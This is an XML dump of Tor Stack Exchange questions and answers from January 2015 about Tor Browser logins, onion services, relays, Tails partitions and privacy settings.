  <row Id="5999" PostTypeId="1" CreationDate="2015-01-12T16:43:01.267" Score="1" ViewCount="107" Body="&lt;p&gt;The &lt;a href=&quot;http://www.newsland.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.newsland.com&lt;/a&gt; site blocks Tor connections (using another browsers, login is successful): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/chLbq.jpg&quot; alt=&quot;Screenshot of newsland.com&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &quot;Войти&quot; (&quot;Enter&quot;), nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I change in the Tor settings in order to login to this site (and others which also block Tor connections)?&lt;/p&gt;&#xA;" OwnerUserId="6516" LastEditorUserId="923" LastEditDate="2015-01-21T04:26:35.240" LastActivityDate="2015-01-21T04:26:35.240" Title="Can't login to the newsland.com website" Tags="|blocked-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6000" PostTypeId="2" ParentId="5999" CreationDate="2015-01-12T17:42:09.777" Score="1" Body="&lt;p&gt;Click the NoScript button next to the Tor button (which is next to the back button on your browser) and choose &quot;Allow scripts globally&quot;. Beware that this is not safe and not at all recommended.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2015-01-12T17:42:09.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6005" PostTypeId="1" CreationDate="2015-01-13T09:36:25.427" Score="3" ViewCount="711" Body="&lt;p&gt;I'm only just starting to look into email on Tor - and so far I'm only finding either email hosts whose &lt;a href=&quot;http://s4bysmmsnraf7eut.onion/webmail.php&quot; rel=&quot;nofollow&quot;&gt;sites&lt;/a&gt; (including webmail login) are hosted on .onion addresses, or whose &lt;a href=&quot;https://help.riseup.net/security/network-security/tor/hs-addresses-signed.txt&quot; rel=&quot;nofollow&quot;&gt;POP, IMAP and SMTP servers&lt;/a&gt; can clearly be connected to in the .onion namespace (even from your thunderbird mail client) - but how about having a &lt;strong&gt;.onion&lt;/strong&gt; address in the email address itself - and doing away with DNS entirely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have an email address like &lt;strong&gt;&lt;code&gt;username@servicexxxxxxxxx.onion&lt;/code&gt;&lt;/strong&gt;, and thus have full .onion &amp;lt;--&gt; .onion email address correspondence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can think of obvious advantages, such as avoiding &lt;a href=&quot;https://security.stackexchange.com/questions/11727/&quot;&gt;privacy and security issues&lt;/a&gt; associated with the standard DNS infrastructure (with sniffable DNS lookups, or spoofing), as well as relying less on or even completely doing away with the &lt;a href=&quot;https://security.stackexchange.com/a/51461/21377&quot;&gt;less secure system of HTTPS&lt;/a&gt; SSL/TLS certificate trust validation entirely, as well as further obfuscation and safety (from both the Clearnet in general and specifically &lt;a href=&quot;https://security.stackexchange.com/a/51459/21377&quot;&gt;malicious Tor exit nodes&lt;/a&gt; required to use it), by being fully insulated within the Tor network itself - especially if the .onion email services were configured solely to be a hidden service and not be DNS-referencable at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has it been done before - are their services that indeed offer it now - or has the idea not actually been explored before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There still is a use and need, for non-real-time, long-storage (until message retrieval), text correspondence - so OTR instant message (or even IRC using persistent BNCs) surely cannot satisfy the need for all 100% Tor, DNS-free, reliable text communication of this type - especially when people are used to email and clients like Thunderbird.&lt;/p&gt;&#xA;" OwnerDisplayName="user1006" LastEditorUserId="88" LastEditDate="2015-06-19T06:55:29.600" LastActivityDate="2019-04-05T18:01:35.270" Title="Is it possible to have &quot;username@site.onion&quot; addresses and FULLY avoid DNS with email?" Tags="|onion-routing|dns|email|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6006" PostTypeId="1" CreationDate="2015-01-13T17:04:26.873" Score="3" ViewCount="162" Body="&lt;p&gt;I have a local and a server instance. My task: Run multiple Tor instances. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the local machine, I run Tor by means of command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --RunAsDaemon 1 --CookieAuthentication 0 --HashedControlPassword &quot;&quot; \&#xA;  --ControlPort 10001 --PidFile tor1.pid --SocksPort 9151 \&#xA;  --DataDirectory data/tor1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How I check Tor works:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I view the process list from &lt;code&gt;ps&lt;/code&gt; command,  &lt;/li&gt;&#xA;&lt;li&gt;I do a curl request with SOCKS5 proxy.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example, the command&#xA;&lt;code&gt;curl --socks5 127.0.0.1:9151 http://bot.whatismyipaddress.com&lt;/code&gt;&lt;br&gt;&#xA;outputs my IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the server, I run my Tor instance using the same command. I can see it in the process list, but it didn't worked as proxy. When I do request from curl, it does not work, I don't get any output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe somehow I can view logs? In &lt;code&gt;/var/log/tor/&lt;/code&gt; I find only run command.&lt;br&gt;&#xA;When I run help on my local machine: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 13 19:53:36.200 [notice] Tor v0.2.4.20 (git-0d50b03673670de6) running on Linux with&#xA;  Libevent 2.0.21-stable and OpenSSL 1.0.1f.&#xA;[…]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It reports that it is working with Libevent and OpenSSL library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run same command on server machine, Tor writes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 13 21:01:42.563 [notice] Tor v0.2.3.25 (git-3fed5eb096d2d187) running on Linux.&#xA;[…]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does not report about 2 libraries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;br&gt;&#xA;How to setup full logging from command?&lt;br&gt;&#xA;Why does my Tor instance on my server machine not work as a proxy? &lt;/p&gt;&#xA;" OwnerUserId="6526" LastEditorUserId="88" LastEditDate="2015-01-19T11:55:14.630" LastActivityDate="2015-02-18T17:53:07.243" Title="Two instances of Tor behave differently" Tags="|socks|ubuntu|log|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6008" PostTypeId="1" CreationDate="2015-01-13T20:08:14.280" Score="3" ViewCount="747" Body="&lt;p&gt;Trying to bring it up on the Beaglebone Black running Debian. Loaded the bundle for debian but it fails with a code of 126 and seems to be stalled at running firefox. IceWeasel, for example, runs fine on the Beaglebone Black but I'm guessing the firefox in the bundle is a different build. Or maybe it's something else...&lt;/p&gt;&#xA;" OwnerUserId="6528" LastActivityDate="2015-01-13T21:03:19.363" Title="Is there a Tor-Browser-Bundle for the armhf /Beaglebone Black?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6009" PostTypeId="1" CreationDate="2015-01-13T20:52:34.253" Score="1" ViewCount="64" Body="&lt;p&gt;I was able to build tor using the PNaCl toolchain by removing &lt;code&gt;-z relro -z now&lt;/code&gt; from the make file and compiling with &lt;code&gt;make CC=&amp;lt;pnacl clang binary&amp;gt;&lt;/code&gt;.  Everything run by &lt;code&gt;make test&lt;/code&gt; passes, and the resulting binary seems to function as normal.  I was a bit surprised at how easy it was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a sensible thing to do?  It seems like it would reduce the risk from any remote execution vulnerability tor might have.&lt;/p&gt;&#xA;" OwnerUserId="3539" LastActivityDate="2015-01-13T20:52:34.253" Title="Is building tor with Portable Native Client a sensible thing to do?" Tags="|build|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6010" PostTypeId="2" ParentId="6008" CreationDate="2015-01-13T21:03:19.363" Score="0" Body="&lt;p&gt;Beaglebone is ARM architecture, there is no build of the browser bundle for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to install Tor and configure your browser yourself, you can get the same addons and such as the browser bundle has, to get as close to the bundle's setup as possible.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-01-13T21:03:19.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6012" PostTypeId="1" CreationDate="2015-01-14T14:52:24.413" Score="2" ViewCount="3592" Body="&lt;p&gt;It looks like I am in deep trouble. A day ago I created an encrypted partition on my USB using the Tails disk utility and set a pass phrase to &quot;remember until I logout&quot;.&#xA;When I rebooted and tried to start Tails again I was unsuccessful. So I started my Windows OS and tried to open my USB drive contents but a message appeared saying &quot;You need to format your disk again in order to use this USB&quot;. So I formatted the flash drive using the default FAT32 format but I was shocked to discover my USB space was not 16 GB; it was 6.8 GB, which means the encrypted partition of some 7 GB is not appearing. I again installed Tails on that 6.8GB space but when I started Tails again there was no encrypted partition appearing there either. So how can I empty my USB once again? How can I delete that encrypted partition? Also for future reference, how do I deal with the encrypted partitions using Tails?&lt;/p&gt;&#xA;" OwnerUserId="6510" LastEditorUserId="923" LastEditDate="2015-01-16T15:14:04.520" LastActivityDate="2015-01-16T15:14:04.520" Title="How to delete encrypted partition on a USB drive using Tails?" Tags="|tails|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6013" PostTypeId="2" ParentId="13" CreationDate="2015-01-14T20:04:33.127" Score="3" Body="&lt;p&gt;I know that the #1 answer to this question is from arma himself, one of the creators of the Tor protocol, but he is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the current Tor code does not support load balancing, the protocol itself allows for it. For example, a single node could handle the &quot;announce&quot; part and then delegate the actual &quot;rendezvous&quot; to other nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He is, however, correct in describing what will happen with the current implementation: one will be chosen as primary node and the other will serve as a backup. But that's not something a bit of coding can't fix.&lt;/p&gt;&#xA;" OwnerUserId="3161" LastActivityDate="2015-01-14T20:04:33.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6014" PostTypeId="1" CreationDate="2015-01-15T04:37:29.643" Score="6" ViewCount="1393" Body="&lt;p&gt;I am wondering about the anonymity and security differences in visiting an .onion site, &lt;strong&gt;from the user's perspective&lt;/strong&gt;, between one that is ONLY a hidden service, and one that also points the same webserver to clearnet DNS - whether its DNS face has HTTPS or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also - some .onion sites / URLS offer HTTPS with the .onion URL anyway, and it's a self-signed certificate - I assume - on TOP of the HSP &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot;&gt;end-to-end encryption&lt;/a&gt; that already exists.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many sites which offer an .onion URL counterpart to their clearnet domains:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Riseup.net&lt;/strong&gt; &lt;a href=&quot;https://help.riseup.net/security/network-security/tor/hs-addresses-signed.txt&quot;&gt;has an .onion equivalent&lt;/a&gt; for all servers and URLs they offer and operate.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tor Project&lt;/strong&gt; itself has an official .onion address to access its site, &lt;a href=&quot;http://idnxcnkne4qt76tg.onion&quot;&gt;here&lt;/a&gt;. (at least it doesn't work at this time, perhaps it has been removed or for the time being is inactive.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Whonix.org&lt;/strong&gt; &lt;a href=&quot;https://www.whonix.org/blog/hidden-service-taken-offline&quot;&gt;until recently, (and not again until a certain issues with hidden service scability are fixed)&lt;/a&gt;, also offered their site to be accessed via a .onion URL.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The Pirate Bay&lt;/strong&gt; has an official .onion mirror which it has been operating since 2012.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Wikileaks&lt;/strong&gt; from time to time have also had mirrors set up by either an endorsed partner of theirs, or possibly other supporters.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;DuckDuckGo&lt;/strong&gt; has an official .onion URL from which to use &lt;a href=&quot;https://duckduckgo.com/&quot;&gt;its service&lt;/a&gt;, &lt;a href=&quot;http://3g2upl4pq6kufc4m.onion/&quot;&gt;http://3g2upl4pq6kufc4m.onion/&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But when a connection is made between a Tor user and a hidden service that also hosts that same webserver in non-anonymous DNS namespace (i.e. revealing the hidden service's outfacing IP), involving DNS lookups outside Tor, and with security protocols totally separate to Tor, do any of those clearnet 'compromises' somehow translate to the user connecting only to the hidden service side of the webserver? How insulated is the Tor-facing 'side' of the webserver from the clearnet-facing 'side'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't imagine DNS lookups occur (and thus DNS metadata being snoopable by standard backbone sniffing), but I can think of data on the server database (user account details) being more vulnerable due to having less hops (or no hops) between its domain name and its real server IP (and no Tor encryption compared to simple server proxying either), and also wonder whether serving HTTPS on an .onion domain somehow translates to the user downloading the self-signed certificate from  the server's DNS space instead of onion space too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the service can manage only operating in .onion namespace, is it advantageous, from the users' point of view?&lt;/p&gt;&#xA;" OwnerDisplayName="user1006" LastEditorDisplayName="user1006" LastEditDate="2015-01-15T04:49:05.903" LastActivityDate="2015-02-14T07:11:01.540" Title="Does hosting a Tor hidden service also on clearnet DNS reduce privacy/security for the Tor user?" Tags="|onion-services|security|dns|private|clear-net|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6015" PostTypeId="1" CreationDate="2015-01-15T05:47:43.510" Score="2" ViewCount="1862" Body="&lt;p&gt;I want the security implementations of the tor browser but prefer to use multiple hop vpn's (Chaining).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded the 32 bit linux package and would like to know what I need to do to configure it.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2015-05-17T16:02:41.507" Title="Disable Tor Network" Tags="|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6016" PostTypeId="2" ParentId="6014" CreationDate="2015-01-15T06:37:26.980" Score="4" Body="&lt;p&gt;If a user connects to the clearnet webservice with Tor - then the webserver sees the exit node used by the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user connects to the webservice through the .onion domain - the webserver sees the ip as 127.0.0.1 (localhost), and have no idea where the traffic comes from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main difference is that if you connect through the onion domain everything is end-to-end encrypted between you and the server, if you connect to the service through the clearnet address through tor then if there is not https on the webserver then the traffic can be sniffed by the exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So thinking about that - then connecting directly to the onion domain is considered safer.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-01-15T06:37:26.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6017" PostTypeId="1" CreationDate="2015-01-15T12:02:53.260" Score="4" ViewCount="938" Body="&lt;p&gt;Is Tor Browser vulnerable to the HSTS Super Cookies tracking technique described &lt;a href=&quot;http://www.radicalresearch.co.uk/lab/hstssupercookies&quot;&gt;here&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Initial experimentation with Tor Browser 4.0.3 suggests it's not: I get a different tracking id after selecting &quot;New identity&quot; and revisiting the page)&lt;/p&gt;&#xA;" OwnerUserId="6542" LastActivityDate="2015-01-16T06:28:21.307" Title="Is Tor Browser vulnerable to tracking via HSTS Super Cookies?" Tags="|tor-browser-bundle|anonymity|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6018" PostTypeId="1" CreationDate="2015-01-15T13:32:52.403" Score="2" ViewCount="2073" Body="&lt;p&gt;(Running Windows 7)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated my Tor Browser Bundle to 4.0.3 yesterday. Initially, I tried to overwrite the existing install (making a backup copy beforehand). When I try to launch it, I get &quot;Tor has unexpectedly exited&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then attempted a clean install; still fails. I tried running my backup copy; same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a separate instance of Tor running through Vidalia - which works fine and hasn't had any problems before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've been able to gather from the log, which seems to be the point where it's failing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Jan 15 05:36:12.000 [notice] New control connection opened.&#xA;Jan 15 05:36:12.000 [info] handle_control_authenticate(): Authenticated control connection (184)&#xA;Jan 15 05:36:12.000 [info] connection_control_reached_eof(): Control connection reached EOF. Closing.&#xA;Jan 15 05:36:12.000 [notice] Owning controller connection has closed -- exiting now.&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few times, it seems to have actually reached &quot;Bootstrapped 100%&quot; before dying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried many things, including disabling AV and restarting the PC. I'm at a loss as to what is causing this.&lt;/p&gt;&#xA;" OwnerUserId="6543" LastEditorUserId="6543" LastEditDate="2015-01-15T14:23:30.443" LastActivityDate="2015-02-01T20:00:13.630" Title="Updated Tor Browser - constant &quot;Tor has unexpectedly exited&quot;" Tags="|tor-browser-bundle|windows|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6019" PostTypeId="1" CreationDate="2015-01-15T23:49:59.393" Score="2" ViewCount="70" Body="&lt;p&gt;Tor Metrics provides data on client location at the country level. How is this data estimated? I assume it does so with the CollecTor data? How does one back the country out from that information? I looked for an academic paper but couldn't find one. I'm just trying to make sense of the CollecTor data and want to make sure I understand what is and isn't there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks. &lt;/p&gt;&#xA;" OwnerUserId="6547" LastActivityDate="2015-01-16T03:58:27.307" Title="How does Tor Metrics estimate client location?" Tags="|exit-relays|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6020" PostTypeId="2" ParentId="6019" CreationDate="2015-01-16T03:58:27.307" Score="1" Body="&lt;p&gt;As you maybe aware, one must have correct time for Tor to work. This will provide a crucial piece of information to estimate the geo-location of clients to Tor. There are two sets of information that can be deducted from this information.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The approximate location of clients on the globe.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The time interval that daylight saving time applies (or do not applies) to a particular geo-location may also be used to pin point the geo-location of the clients. For example in India the day light saving time does not apply at all. Meaning the time does not change based on the season, while in US, most of the year is in daylight timing zone.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-01-16T03:58:27.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6021" PostTypeId="2" ParentId="6017" CreationDate="2015-01-16T06:28:21.307" Score="3" Body="&lt;p&gt;&quot;Implementation Status: Currently, HSTS state is cleared by New Identity, but we don't defend against the creation of these cookies between New Identity invocations&quot; &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/torbrowser/design/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4969" LastActivityDate="2015-01-16T06:28:21.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6022" PostTypeId="2" ParentId="4941" CreationDate="2015-01-16T06:50:35.700" Score="1" Body="&lt;p&gt;When we add a Tor Bridge all Tor connections and data are sent through that bridge and that bridge only. I found this answer by emailing tor. &lt;/p&gt;&#xA;" OwnerUserId="4990" LastActivityDate="2015-01-16T06:50:35.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6024" PostTypeId="2" ParentId="1869" CreationDate="2015-01-16T14:40:13.207" Score="4" Body="&lt;p&gt;You need to Export Bookmarks in HTML format (choose this option) from your &quot;standard&quot; Firefox browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It produces a file : bookmarks.html (just check where it is placed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, from Tor browser, import the previously created bookmarks.html.&lt;/p&gt;&#xA;" OwnerDisplayName="user6548" LastEditorUserId="923" LastEditDate="2015-01-16T15:21:32.747" LastActivityDate="2015-01-16T15:21:32.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6025" PostTypeId="1" CreationDate="2015-01-16T15:53:10.260" Score="3" ViewCount="2210" Body="&lt;p&gt;Can I &quot;port&quot; the Tor network in order to use it through the whole system (updates, using in different browser, etc) ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using linux (Fedora 21 64 bit)&lt;/p&gt;&#xA;" OwnerUserId="6549" LastEditorUserId="923" LastEditDate="2015-01-16T18:50:50.780" LastActivityDate="2019-09-13T08:01:39.217" Title="Using Tor for the whole system on fedora" Tags="|linux|fedora|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6026" PostTypeId="1" CreationDate="2015-01-16T18:52:50.310" Score="2" ViewCount="235" Body="&lt;p&gt;I am trying to contribute to Tor Network by running a non-exit relay on my PC. Via the status window, I already received the comment saying that my relay is reachable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 17 01:32:13.420 [Notice] Self-testing indicates your ORPort is reachable from the outside. Excellent. Publishing server descriptor.&#xA;Jan 17 01:32:14.830 [Notice] Self-testing indicates your DirPort is reachable from the outside. Excellent.&#xA;Jan 17 01:32:16.045 [Notice] Performing bandwidth self-test...done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, later I received this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 17 01:43:09.372 [Notice] Your DNS provider gave an answer for &quot;uofdrs2ok67ar.net&quot;, which is not supposed to exist. Apparently they are hijacking DNS failures. Trying to correct for this. We've noticed 1 possibly bad address so far.&#xA;Jan 17 01:34:02.394 [Notice] Your DNS provider has given &quot;54.200.75.96&quot; as an answer for 6 different invalid addresses. Apparently they are hijacking DNS failures. I'll try to correct for this by treating future occurrences of &quot;54.200.75.96&quot; as 'not found'.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So is it because I am setting up Norton ConnectSafe DNS in my Router? If it is the reason, I am really sad that I cannot run Tor cos I need to keep Norton ConnectSafe DNS on to keep my Kids from bad websites out there on the Internet.&#xA;Thank you so much for reading my question.&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2015-01-28T20:21:40.270" Title="Can I run a Tor relay with Norton ConnectSafe DNS?" Tags="|relays|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6027" PostTypeId="1" CreationDate="2015-01-16T20:50:52.793" Score="1" ViewCount="39" Body="&lt;p&gt;I would like to direct the entire computer's internet traffic exclusively through Tor. What options do exist that allow the entire internet traffic exclusively through Tor? And what is the step by step process to accomplish this task?&lt;/p&gt;&#xA;" OwnerUserId="6555" LastEditorUserId="923" LastEditDate="2015-01-17T03:07:20.683" LastActivityDate="2015-01-17T04:54:32.330" Title="How to direct the entire computer's internet traffic through Tor?" Tags="|pluggable-transports|web-proxy|" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-17T04:56:08.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="6028" PostTypeId="1" CreationDate="2015-01-16T23:41:36.203" Score="1" ViewCount="310" Body="&lt;p&gt;I get this error on a Mac running OSX 10.10 (&quot;Yosemite&quot;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Firefox: CGBitmapContextCreateImage: invalid context 0x0. This is a serious error. This application, or a library it uses, is using an invalid context  and is thereby contributing to an overall degradation of system stability and reliability. This notice is a courtesy: please fix this problem. It will become a fatal error in an upcoming update&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tor browser  &quot;latest Tor version&quot;. Is there anyway to remove this error? Is this a normal error? Does any body know what code might be the reason for the error?&lt;/p&gt;&#xA;" OwnerUserId="6557" LastEditorUserId="88" LastEditDate="2015-01-18T10:30:41.820" LastActivityDate="2015-01-18T10:30:41.820" Title="Tor browser on Yosemite logging error" Tags="|tor-browser-bundle|mac|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6029" PostTypeId="2" ParentId="6025" CreationDate="2015-01-17T18:08:31.387" Score="2" Body="&lt;p&gt;Yes you can route all data through Tor, but is a &lt;strong&gt;Bad Idea.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead try &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails &lt;/a&gt;a live operating system, that you can start on almost any computer from a DVD, USB stick, or SD card. It aims at preserving your privacy and anonymity, and helps you to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;use the Internet anonymously and circumvent censorship;&#xA;all connections to the Internet are forced to go through the Tor network;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;leave no trace on the computer you are using unless you ask it explicitly;&#xA;use state-of-the-art cryptographic tools to encrypt your files, emails and instant messaging.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem with routing all traffic through Tor is that the programs are not audited to run through Tor without leaking any information. The same applies to browsers that are not Tor Browser Bundle. You also end up using Tor bandwidth on unimportant things such as updates and what not.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-01-17T18:08:31.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6030" PostTypeId="2" ParentId="5990" CreationDate="2015-01-18T00:35:36.107" Score="1" Body="&lt;p&gt;Based on setting strict nodes and having an exit show up which violates this constraint I would (now) be inclined to search for a bug. Had just the family constraint been violated I might see this as a situation where Tor decided to default on path selection. That does occur -- it just seemed extreme to ignore node family. On the other hand, ignoring the node family isn't a huge deal. These nodes are precisely the ones that put the effort into identifying their relations. I'd be more worried about unidentified relations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Combined the two issues point to a bug which should be reproduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't see an existing ticket so I'll start by writing some code to investigate the problem over time. Then I can reproduce the problem or at least inspect the internal state at the time of failure. As it stands this doesn't appear to occur frequently.&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastActivityDate="2015-01-18T00:35:36.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6031" PostTypeId="1" CreationDate="2015-01-18T01:49:07.280" Score="2" ViewCount="12691" Body="&lt;p&gt;I'm posting this here because the &lt;a href=&quot;http://bugzilla.downloadhelper.net:8080/&quot; rel=&quot;nofollow&quot;&gt;support site&lt;/a&gt; for this &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/video-downloadhelper/&quot; rel=&quot;nofollow&quot;&gt;extension&lt;/a&gt; won't work for me from within TorBrowser - and as a warning for anyone else who might be as stupid as me to try using extensions within TorBrowser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This extension ignores TorBrowser's &quot;Never remember history&quot; default setting.  I recently used it to download a few YouTube videos, and several days later, when I next used TorBrowser, I found that all the videos I had downloaded in the previous session were listed in TorBrowser's history. Is there any remedy to fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="1527" LastEditDate="2015-01-18T02:31:54.127" LastActivityDate="2015-05-25T03:39:14.057" Title="Video DownloadHelper extension ignores &quot;no history&quot; settings" Tags="|tor-browser-bundle|firefox|add-on|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6032" PostTypeId="2" ParentId="6031" CreationDate="2015-01-18T02:54:03.133" Score="1" Body="&lt;p&gt;Generally extentions and addons may have an undesirable consequences if added to Tor Browser. Sometimes the undesirable consequences are observable (at least it can be seen and thus, the user can decide to undo the extensions and/or addons if she desires to do so) and sometimes the undesirable consequences are not readily observable (in this case the user may use the extensions and/or addons for a long time without realization of what is happening). This last case is particularly harmful. In the end, There are so many extensions and addons and so many things may go wrong that no amount of reasonable time and energy may sort them out. Thus, it is advisable not to use any extension or addon with Tor Browser beyond what is already added by Tor Browser crew. By the way, I have tried the support site: &lt;a href=&quot;http://bugzilla.downloadhelper.net:8080/&quot; rel=&quot;nofollow&quot;&gt;http://bugzilla.downloadhelper.net:8080/&lt;/a&gt; and it does not work for me either.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-18T03:26:00.573" LastActivityDate="2015-01-18T03:26:00.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
